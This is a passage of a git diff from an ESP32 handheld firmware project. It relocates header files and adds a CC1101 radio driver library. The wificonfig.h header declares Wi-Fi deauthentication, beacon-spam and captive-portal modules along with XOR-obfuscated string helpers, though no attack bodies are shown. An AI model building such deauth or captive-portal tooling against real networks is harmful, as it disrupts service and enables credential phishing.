"Touchscreen.h" -#include "shared.h" - -extern TFT_eSPI tft; - -// Obfuscated-string helpers (XOR decode, then print). -void tftPrintObf(const uint8_t* data, size_t len, uint8_t key = k0()); -void tftPrintlnObf(const uint8_t* data, size_t len, uint8_t key = k0()); -void serialPrintObf(const uint8_t* data, size_t len, bool newline = false, uint8_t key = k0()); - -void updateStatusBar(); -float readBatteryVoltage(); -float readInternalTemperature(); -bool isSDCardAvailable(); -void drawStatusBar(float batteryVoltage, bool forceUpdate = false); -void startStatusBarTask(); - -extern bool feature_exit_requested; - -extern void setBrightness(uint8_t value); -bool isButtonPressed(int buttonPin); - -extern float currentBatteryVoltage; - -void initDisplay(); -void showNotification(const char* title, const char* message); -void hideNotification(); - -enum class NotificationAction : uint8_t { None, Close, Ok, Save }; -void showNotificationActions(const char* title, const char* message, bool showSave); -bool isNotificationVisible(); -NotificationAction notificationHandleTouch(int x, int y); -void printWrappedText(int x, int y, int maxWidth, const char* text); -void loading(int frameDelay, uint16_t color, int16_t x, int16_t y, int repeats, bool center); -void displayLogo(uint16_t color, int displayTime); -void initSDCard(); - -namespace AppSettingsUI{ void setup(); void loop(); } -namespace TouchCalib{ void setup(); void loop(); } - -namespace Terminal { - void terminalSetup(); - void terminalLoop(); -} - -namespace FeatureUI { - enum class ButtonStyle : uint8_t { Primary, Secondary, Danger }; - - struct Button { - int16_t x, y, w, h; - const char* label; - ButtonStyle style; - bool disabled; - }; - - constexpr int16_t FOOTER_H = 34; - constexpr int16_t BTN_H = 26; - constexpr int16_t PAD_X = 8; - constexpr int16_t GAP_X = 8; - - void drawFooterBg(); - - void drawButtonRect(int x, int y, int w, int h, - const char* label, - ButtonStyle style, - bool pressed = false, - bool disabled = false, - uint8_t font = 2); - - inline void drawButton(const Button& b, bool pressed = false) { - drawButtonRect(b.x, b.y, b.w, b.h, b.label, b.style, pressed, b.disabled); - } - - void layoutFooter3(Button (&btns)[3], - const char* l0, ButtonStyle s0, - const char* l1, ButtonStyle s1, - const char* l2, ButtonStyle s2, - bool d0=false, bool d1=false, bool d2=false); - void layoutFooter2(Button (&btns)[2], - const char* l0, ButtonStyle s0, - const char* l1, ButtonStyle s1, - bool d0=false, bool d1=false); - void layoutFooter4(Button (&btns)[4], - const char* l0, ButtonStyle s0, - const char* l1, ButtonStyle s1, - const char* l2, ButtonStyle s2, - const char* l3, ButtonStyle s3, - bool d0=false, bool d1=false, bool d2=false, bool d3=false); - void layoutFooter1(Button& btn, const char* label, ButtonStyle style, bool disabled=false); - - int hit(const Button* btns, int n, int x, int y); -} - -#endif +#ifndef UTILS_H +#define UTILS_H + +#include +#include +#include +#include +#include +#include "SettingsStore.h" +#include "Touchscreen.h" +#include "shared.h" + +extern TFT_eSPI tft; + +// Obfuscated-string helpers (XOR decode, then print). +void tftPrintObf(const uint8_t* data, size_t len, uint8_t key = k0()); +void tftPrintlnObf(const uint8_t* data, size_t len, uint8_t key = k0()); +void serialPrintObf(const uint8_t* data, size_t len, bool newline = false, uint8_t key = k0()); + +void updateStatusBar(); +float readBatteryVoltage(); +float readInternalTemperature(); +bool isSDCardAvailable(); +void drawStatusBar(float batteryVoltage, bool forceUpdate = false); +void startStatusBarTask(); + +extern bool feature_exit_requested; + +extern void setBrightness(uint8_t value); +bool isButtonPressed(int buttonPin); + +extern float currentBatteryVoltage; + +void initDisplay(); +void showNotification(const char* title, const char* message); +void hideNotification(); + +enum class NotificationAction : uint8_t { None, Close, Ok, Save }; +void showNotificationActions(const char* title, const char* message, bool showSave); +bool isNotificationVisible(); +NotificationAction notificationHandleTouch(int x, int y); +void printWrappedText(int x, int y, int maxWidth, const char* text); +void loading(int frameDelay, uint16_t color, int16_t x, int16_t y, int repeats, bool center); +void displayLogo(uint16_t color, int displayTime); +void initSDCard(); + +namespace AppSettingsUI{ void setup(); void loop(); } +namespace TouchCalib{ void setup(); void loop(); } + +namespace Terminal { + void terminalSetup(); + void terminalLoop(); +} + +namespace FeatureUI { + enum class ButtonStyle : uint8_t { Primary, Secondary, Danger }; + + struct Button { + int16_t x, y, w, h; + const char* label; + ButtonStyle style; + bool disabled; + }; + + constexpr int16_t FOOTER_H = 34; + constexpr int16_t BTN_H = 26; + constexpr int16_t PAD_X = 8; + constexpr int16_t GAP_X = 8; + + void drawFooterBg(); + + void drawButtonRect(int x, int y, int w, int h, + const char* label, + ButtonStyle style, + bool pressed = false, + bool disabled = false, + uint8_t font = 2); + + inline void drawButton(const Button& b, bool pressed = false) { + drawButtonRect(b.x, b.y, b.w, b.h, b.label, b.style, pressed, b.disabled); + } + + void layoutFooter3(Button (&btns)[3], + const char* l0, ButtonStyle s0, + const char* l1, ButtonStyle s1, + const char* l2, ButtonStyle s2, + bool d0=false, bool d1=false, bool d2=false); + void layoutFooter2(Button (&btns)[2], + const char* l0, ButtonStyle s0, + const char* l1, ButtonStyle s1, + bool d0=false, bool d1=false); + void layoutFooter4(Button (&btns)[4], + const char* l0, ButtonStyle s0, + const char* l1, ButtonStyle s1, + const char* l2, ButtonStyle s2, + const char* l3, ButtonStyle s3, + bool d0=false, bool d1=false, bool d2=false, bool d3=false); + void layoutFooter1(Button& btn, const char* label, ButtonStyle style, bool disabled=false); + + int hit(const Button* btns, int n, int x, int y); +} + +#endif \ No newline at end of file diff --git a/ESP32-DIV/wificonfig.h b/include/wificonfig.h similarity index 94% rename from ESP32-DIV/wificonfig.h rename to include/wificonfig.h index 84095c9..6a8df58 100644 --- a/ESP32-DIV/wificonfig.h +++ b/include/wificonfig.h @@ -1,73 +1,73 @@ -#ifndef WIFICONFIG_H -#define WIFICONFIG_H - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include "WiFi.h" -#include "arduinoFFT.h" -#include "esp_event.h" -#include "esp_event_loop.h" -#include "esp_system.h" -#include "esp_wifi.h" -#include "esp_wifi_types.h" -#include "nvs_flash.h" -#include "shared.h" -#include "utils.h" - -extern TFT_eSPI tft; -extern PCF8574 pcf; - -using namespace std; - -namespace PacketMonitor { - void ptmSetup(); - void ptmLoop(); -} - -namespace BeaconSpammer { - void beaconSpamSetup(); - void beaconSpamLoop(); -} - -namespace DeauthDetect { - void deauthdetectSetup(); - void deauthdetectLoop(); -} - -namespace WifiScan { - void wifiscanSetup(); - void wifiscanLoop(); - int getLastCount(); -} - -namespace CaptivePortal { - void cportalSetup(); - void cportalLoop(); -} - -namespace Deauther { - void deautherSetup(); - void deautherLoop(); -} - -namespace FirmwareUpdate { - void updateSetup(); - void updateLoop(); -} - -#endif +#ifndef WIFICONFIG_H +#define WIFICONFIG_H + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "WiFi.h" +#include "arduinoFFT.h" +#include "esp_event.h" +#include "esp_event_loop.h" +#include "esp_system.h" +#include "esp_wifi.h" +#include "esp_wifi_types.h" +#include "nvs_flash.h" +#include "shared.h" +#include "utils.h" + +extern TFT_eSPI tft; +extern PCF8574 pcf; + +using namespace std; + +namespace PacketMonitor { + void ptmSetup(); + void ptmLoop(); +} + +namespace BeaconSpammer { + void beaconSpamSetup(); + void beaconSpamLoop(); +} + +namespace DeauthDetect { + void deauthdetectSetup(); + void deauthdetectLoop(); +} + +namespace WifiScan { + void wifiscanSetup(); + void wifiscanLoop(); + int getLastCount(); +} + +namespace CaptivePortal { + void cportalSetup(); + void cportalLoop(); +} + +namespace Deauther { + void deautherSetup(); + void deautherLoop(); +} + +namespace FirmwareUpdate { + void updateSetup(); + void updateLoop(); +} + +#endif diff --git a/lib/SmartRC-CC1101-Driver-Lib/.piopm b/lib/SmartRC-CC1101-Driver-Lib/.piopm new file mode 100644 index 0000000..e73bb6c --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/.piopm @@ -0,0 +1 @@ +{"type": "library", "name": "SmartRC-CC1101-Driver-Lib", "version": "2.5.7", "spec": {"owner": "lsatan", "id": 6942, "name": "SmartRC-CC1101-Driver-Lib", "requirements": null, "uri": null}} \ No newline at end of file diff --git a/lib/SmartRC-CC1101-Driver-Lib/ELECHOUSE_CC1101_SRC_DRV.cpp b/lib/SmartRC-CC1101-Driver-Lib/ELECHOUSE_CC1101_SRC_DRV.cpp new file mode 100644 index 0000000..e587056 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/ELECHOUSE_CC1101_SRC_DRV.cpp @@ -0,0 +1,1307 @@ +/* + ELECHOUSE_CC1101.cpp - CC1101 module library + Copyright (c) 2010 Michael. + Author: Michael, + Version: November 12, 2010 + + This library is designed to use CC1101/CC1100 module on Arduino platform. + CC1101/CC1100 module is an useful wireless module.Using the functions of the + library, you can easily send and receive data by the CC1101/CC1100 module. + Just have fun! + For the details, please refer to the datasheet of CC1100/CC1101. +---------------------------------------------------------------------------------------------------------------- +cc1101 Driver for RC Switch. Mod by Little Satan. With permission to modify and publish Wilson Shen (ELECHOUSE). +---------------------------------------------------------------------------------------------------------------- +*/ +#include +#include "ELECHOUSE_CC1101_SRC_DRV.h" +#include + +/****************************************************************/ +#define WRITE_BURST 0x40 //write burst +#define READ_SINGLE 0x80 //read single +#define READ_BURST 0xC0 //read burst +#define BYTES_IN_RXFIFO 0x7F //byte number in RXfifo +#define max_modul 6 + +byte modulation = 2; +byte frend0; +byte chan = 0; +int pa = 12; +byte last_pa; +byte SCK_PIN; +byte MISO_PIN; +byte MOSI_PIN; +byte SS_PIN; +byte GDO0; +byte GDO2; +byte SCK_PIN_M[max_modul]; +byte MISO_PIN_M[max_modul]; +byte MOSI_PIN_M[max_modul]; +byte SS_PIN_M[max_modul]; +byte GDO0_M[max_modul]; +byte GDO2_M[max_modul]; +byte gdo_set=0; +bool cc1101_spi_mode = 0; +bool ccmode = 0; +float MHz = 433.92; +byte m4RxBw = 0; +byte m4DaRa; +byte m2DCOFF; +byte m2MODFM; +byte m2MANCH; +byte m2SYNCM; +byte m1FEC; +byte m1PRE; +byte m1CHSP; +byte pc1PQT; +byte pc1CRC_AF; +byte pc1APP_ST; +byte pc1ADRCHK; +byte pc0WDATA; +byte pc0PktForm; +byte pc0CRC_EN; +byte pc0LenConf; +byte trxstate = 0; +byte clb1[2]= {24,28}; +byte clb2[2]= {31,38}; +byte clb3[2]= {65,76}; +byte clb4[2]= {77,79}; + +/****************************************************************/ +uint8_t PA_TABLE[8] {0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00}; +// -30 -20 -15 -10 0 5 7 10 +uint8_t PA_TABLE_315[8] {0x12,0x0D,0x1C,0x34,0x51,0x85,0xCB,0xC2,}; //300 - 348 +uint8_t PA_TABLE_433[8] {0x12,0x0E,0x1D,0x34,0x60,0x84,0xC8,0xC0,}; //387 - 464 +// -30 -20 -15 -10 -6 0 5 7 10 12 +uint8_t PA_TABLE_868[10] {0x03,0x17,0x1D,0x26,0x37,0x50,0x86,0xCD,0xC5,0xC0,}; //779 - 899.99 +// -30 -20 -15 -10 -6 0 5 7 10 11 +uint8_t PA_TABLE_915[10] {0x03,0x0E,0x1E,0x27,0x38,0x8E,0x84,0xCC,0xC3,0xC0,}; //900 - 928 +/**************************************************************** +*FUNCTION NAME:SpiStart +*FUNCTION :spi communication start +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiStart(void) +{ + // initialize the SPI pins + pinMode(SCK_PIN, OUTPUT); + pinMode(MOSI_PIN, OUTPUT); + pinMode(MISO_PIN, INPUT); + pinMode(SS_PIN, OUTPUT); + + // enable SPI + #ifdef ESP32 + SPI.begin(SCK_PIN, MISO_PIN, MOSI_PIN, SS_PIN); + #else + SPI.begin(); + #endif +} +/**************************************************************** +*FUNCTION NAME:SpiEnd +*FUNCTION :spi communication disable +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiEnd(void) +{ + // disable SPI + SPI.endTransaction(); + SPI.end(); +} +/**************************************************************** +*FUNCTION NAME: GDO_Set() +*FUNCTION : set GDO0,GDO2 pin for serial pinmode. +*INPUT : none +*OUTPUT : none +****************************************************************/ +void ELECHOUSE_CC1101::GDO_Set (void) +{ + pinMode(GDO0, OUTPUT); + pinMode(GDO2, INPUT); +} +/**************************************************************** +*FUNCTION NAME: GDO_Set() +*FUNCTION : set GDO0 for internal transmission mode. +*INPUT : none +*OUTPUT : none +****************************************************************/ +void ELECHOUSE_CC1101::GDO0_Set (void) +{ + pinMode(GDO0, INPUT); +} +/**************************************************************** +*FUNCTION NAME:Reset +*FUNCTION :CC1101 reset //details refer datasheet of CC1101/CC1100// +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Reset (void) +{ + digitalWrite(SS_PIN, LOW); + delay(1); + digitalWrite(SS_PIN, HIGH); + delay(1); + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + SPI.transfer(CC1101_SRES); + while(digitalRead(MISO_PIN)); + digitalWrite(SS_PIN, HIGH); +} +/**************************************************************** +*FUNCTION NAME:Init +*FUNCTION :CC1101 initialization +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Init(void) +{ + setSpi(); + SpiStart(); //spi initialization + digitalWrite(SS_PIN, HIGH); + digitalWrite(SCK_PIN, HIGH); + digitalWrite(MOSI_PIN, LOW); + Reset(); //CC1101 reset + RegConfigSettings(); //CC1101 register config + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiWriteReg +*FUNCTION :CC1101 write data to register +*INPUT :addr: register address; value: register value +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiWriteReg(byte addr, byte value) +{ + SpiStart(); + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + SPI.transfer(addr); + SPI.transfer(value); + digitalWrite(SS_PIN, HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiWriteBurstReg +*FUNCTION :CC1101 write burst data to register +*INPUT :addr: register address; buffer:register value array; num:number to write +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiWriteBurstReg(byte addr, byte *buffer, byte num) +{ + byte i, temp; + SpiStart(); + temp = addr | WRITE_BURST; + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + SPI.transfer(temp); + for (i = 0; i < num; i++) + { + SPI.transfer(buffer[i]); + } + digitalWrite(SS_PIN, HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiStrobe +*FUNCTION :CC1101 Strobe +*INPUT :strobe: command; //refer define in CC1101.h// +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiStrobe(byte strobe) +{ + SpiStart(); + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + SPI.transfer(strobe); + digitalWrite(SS_PIN, HIGH); + SpiEnd(); +} +/**************************************************************** +*FUNCTION NAME:SpiReadReg +*FUNCTION :CC1101 read data from register +*INPUT :addr: register address +*OUTPUT :register value +****************************************************************/ +byte ELECHOUSE_CC1101::SpiReadReg(byte addr) +{ + byte temp, value; + SpiStart(); + temp = addr| READ_SINGLE; + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + SPI.transfer(temp); + value=SPI.transfer(0); + digitalWrite(SS_PIN, HIGH); + SpiEnd(); + return value; +} + +/**************************************************************** +*FUNCTION NAME:SpiReadBurstReg +*FUNCTION :CC1101 read burst data from register +*INPUT :addr: register address; buffer:array to store register value; num: number to read +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::SpiReadBurstReg(byte addr, byte *buffer, byte num) +{ + byte i,temp; + SpiStart(); + temp = addr | READ_BURST; + digitalWrite(SS_PIN, LOW); + while(digitalRead(MISO_PIN)); + SPI.transfer(temp); + for(i=0;i4){m=4;} +modulation = m; +Split_MDMCFG2(); +switch (m) +{ +case 0: m2MODFM=0x00; frend0=0x10; break; // 2-FSK +case 1: m2MODFM=0x10; frend0=0x10; break; // GFSK +case 2: m2MODFM=0x30; frend0=0x11; break; // ASK +case 3: m2MODFM=0x40; frend0=0x10; break; // 4-FSK +case 4: m2MODFM=0x70; frend0=0x10; break; // MSK +} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +SpiWriteReg(CC1101_FREND0, frend0); +setPA(pa); +} +/**************************************************************** +*FUNCTION NAME:PA Power +*FUNCTION :set CC1101 PA Power +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPA(int p) +{ +int a; +pa = p; + +if (MHz >= 300 && MHz <= 348){ +if (pa <= -30){a = PA_TABLE_315[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_315[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_315[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_315[3];} +else if (pa > -10 && pa <= 0){a = PA_TABLE_315[4];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_315[5];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_315[6];} +else if (pa > 7){a = PA_TABLE_315[7];} +last_pa = 1; +} +else if (MHz >= 378 && MHz <= 464){ +if (pa <= -30){a = PA_TABLE_433[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_433[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_433[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_433[3];} +else if (pa > -10 && pa <= 0){a = PA_TABLE_433[4];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_433[5];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_433[6];} +else if (pa > 7){a = PA_TABLE_433[7];} +last_pa = 2; +} +else if (MHz >= 779 && MHz <= 899.99){ +if (pa <= -30){a = PA_TABLE_868[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_868[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_868[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_868[3];} +else if (pa > -10 && pa <= -6){a = PA_TABLE_868[4];} +else if (pa > -6 && pa <= 0){a = PA_TABLE_868[5];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_868[6];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_868[7];} +else if (pa > 7 && pa <= 10){a = PA_TABLE_868[8];} +else if (pa > 10){a = PA_TABLE_868[9];} +last_pa = 3; +} +else if (MHz >= 900 && MHz <= 928){ +if (pa <= -30){a = PA_TABLE_915[0];} +else if (pa > -30 && pa <= -20){a = PA_TABLE_915[1];} +else if (pa > -20 && pa <= -15){a = PA_TABLE_915[2];} +else if (pa > -15 && pa <= -10){a = PA_TABLE_915[3];} +else if (pa > -10 && pa <= -6){a = PA_TABLE_915[4];} +else if (pa > -6 && pa <= 0){a = PA_TABLE_915[5];} +else if (pa > 0 && pa <= 5){a = PA_TABLE_915[6];} +else if (pa > 5 && pa <= 7){a = PA_TABLE_915[7];} +else if (pa > 7 && pa <= 10){a = PA_TABLE_915[8];} +else if (pa > 10){a = PA_TABLE_915[9];} +last_pa = 4; +} +if (modulation == 2){ +PA_TABLE[0] = 0; +PA_TABLE[1] = a; +}else{ +PA_TABLE[0] = a; +PA_TABLE[1] = 0; +} +SpiWriteBurstReg(CC1101_PATABLE,PA_TABLE,8); +} +/**************************************************************** +*FUNCTION NAME:Frequency Calculator +*FUNCTION :Calculate the basic frequency. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setMHZ(float mhz){ +byte freq2 = 0; +byte freq1 = 0; +byte freq0 = 0; + +MHz = mhz; + +for (bool i = 0; i==0;){ +if (mhz >= 26){ +mhz-=26; +freq2+=1; +} +else if (mhz >= 0.1015625){ +mhz-=0.1015625; +freq1+=1; +} +else if (mhz >= 0.00039675){ +mhz-=0.00039675; +freq0+=1; +} +else{i=1;} +} +if (freq0 > 255){freq1+=1;freq0-=256;} + +SpiWriteReg(CC1101_FREQ2, freq2); +SpiWriteReg(CC1101_FREQ1, freq1); +SpiWriteReg(CC1101_FREQ0, freq0); + +Calibrate(); +} +/**************************************************************** +*FUNCTION NAME:Calibrate +*FUNCTION :Calibrate frequency +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::Calibrate(void){ + +if (MHz >= 300 && MHz <= 348){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1])); +if (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 1){setPA(pa);} +} +} +else if (MHz >= 378 && MHz <= 464){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1])); +if (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 2){setPA(pa);} +} +} +else if (MHz >= 779 && MHz <= 899.99){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1])); +if (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);} +else{ +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 3){setPA(pa);} +} +} +else if (MHz >= 900 && MHz <= 928){ +SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1])); +SpiWriteReg(CC1101_TEST0,0x09); +int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2); +if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);} +if (last_pa != 4){setPA(pa);} +} +} +/**************************************************************** +*FUNCTION NAME:Calibration offset +*FUNCTION :Set calibration offset +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){ +if (b == 1){ +clb1[0]=s; +clb1[1]=e; +} +else if (b == 2){ +clb2[0]=s; +clb2[1]=e; +} +else if (b == 3){ +clb3[0]=s; +clb3[1]=e; +} +else if (b == 4){ +clb4[0]=s; +clb4[1]=e; +} +} +/**************************************************************** +*FUNCTION NAME:getCC1101 +*FUNCTION :Test Spi connection and return 1 when true. +*INPUT :none +*OUTPUT :none +****************************************************************/ +bool ELECHOUSE_CC1101::getCC1101(void){ +setSpi(); +if (SpiReadStatus(0x31)>0){ +return 1; +}else{ +return 0; +} +} +/**************************************************************** +*FUNCTION NAME:getMode +*FUNCTION :Return the Mode. Sidle = 0, TX = 1, Rx = 2. +*INPUT :none +*OUTPUT :none +****************************************************************/ +byte ELECHOUSE_CC1101::getMode(void){ +return trxstate; +} +/**************************************************************** +*FUNCTION NAME:Set Sync_Word +*FUNCTION :Sync Word +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){ +SpiWriteReg(CC1101_SYNC1, sh); +SpiWriteReg(CC1101_SYNC0, sl); +} +/**************************************************************** +*FUNCTION NAME:Set ADDR +*FUNCTION :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF). +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setAddr(byte v){ +SpiWriteReg(CC1101_ADDR, v); +} +/**************************************************************** +*FUNCTION NAME:Set PQT +*FUNCTION :Preamble quality estimator threshold +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPQT(byte v){ +Split_PKTCTRL1(); +pc1PQT = 0; +if (v>7){v=7;} +pc1PQT = v*32; +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set CRC_AUTOFLUSH +*FUNCTION :Enable automatic flush of RX FIFO when CRC is not OK +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setCRC_AF(bool v){ +Split_PKTCTRL1(); +pc1CRC_AF = 0; +if (v==1){pc1CRC_AF=8;} +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set APPEND_STATUS +*FUNCTION :When enabled, two status bytes will be appended to the payload of the packet +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setAppendStatus(bool v){ +Split_PKTCTRL1(); +pc1APP_ST = 0; +if (v==1){pc1APP_ST=4;} +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set ADR_CHK +*FUNCTION :Controls address check configuration of received packages +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setAdrChk(byte v){ +Split_PKTCTRL1(); +pc1ADRCHK = 0; +if (v>3){v=3;} +pc1ADRCHK = v; +SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK); +} +/**************************************************************** +*FUNCTION NAME:Set WHITE_DATA +*FUNCTION :Turn data whitening on / off. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setWhiteData(bool v){ +Split_PKTCTRL0(); +pc0WDATA = 0; +if (v == 1){pc0WDATA=64;} +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set PKT_FORMAT +*FUNCTION :Format of RX and TX data +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPktFormat(byte v){ +Split_PKTCTRL0(); +pc0PktForm = 0; +if (v>3){v=3;} +pc0PktForm = v*16; +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set CRC +*FUNCTION :CRC calculation in TX and CRC check in RX +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setCrc(bool v){ +Split_PKTCTRL0(); +pc0CRC_EN = 0; +if (v==1){pc0CRC_EN=4;} +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set LENGTH_CONFIG +*FUNCTION :Configure the packet length +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setLengthConfig(byte v){ +Split_PKTCTRL0(); +pc0LenConf = 0; +if (v>3){v=3;} +pc0LenConf = v; +SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf); +} +/**************************************************************** +*FUNCTION NAME:Set PACKET_LENGTH +*FUNCTION :Indicates the packet length +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPacketLength(byte v){ +SpiWriteReg(CC1101_PKTLEN, v); +} +/**************************************************************** +*FUNCTION NAME:Set DCFILT_OFF +*FUNCTION :Disable digital DC blocking filter before demodulator +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setDcFilterOff(bool v){ +Split_MDMCFG2(); +m2DCOFF = 0; +if (v==1){m2DCOFF=128;} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +} +/**************************************************************** +*FUNCTION NAME:Set MANCHESTER +*FUNCTION :Enables Manchester encoding/decoding +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setManchester(bool v){ +Split_MDMCFG2(); +m2MANCH = 0; +if (v==1){m2MANCH=8;} +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +} +/**************************************************************** +*FUNCTION NAME:Set SYNC_MODE +*FUNCTION :Combined sync-word qualifier mode +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setSyncMode(byte v){ +Split_MDMCFG2(); +m2SYNCM = 0; +if (v>7){v=7;} +m2SYNCM=v; +SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM); +} +/**************************************************************** +*FUNCTION NAME:Set FEC +*FUNCTION :Enable Forward Error Correction (FEC) +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setFEC(bool v){ +Split_MDMCFG1(); +m1FEC=0; +if (v==1){m1FEC=128;} +SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); +} +/**************************************************************** +*FUNCTION NAME:Set PRE +*FUNCTION :Sets the minimum number of preamble bytes to be transmitted. +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setPRE(byte v){ +Split_MDMCFG1(); +m1PRE=0; +if (v>7){v=7;} +m1PRE = v*16; +SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP); +} +/**************************************************************** +*FUNCTION NAME:Set Channel +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setChannel(byte ch){ +chan = ch; +SpiWriteReg(CC1101_CHANNR, chan); +} +/**************************************************************** +*FUNCTION NAME:Set Channel spacing +*FUNCTION :none +*INPUT :none +*OUTPUT :none +****************************************************************/ +void ELECHOUSE_CC1101::setChsp(float f){ 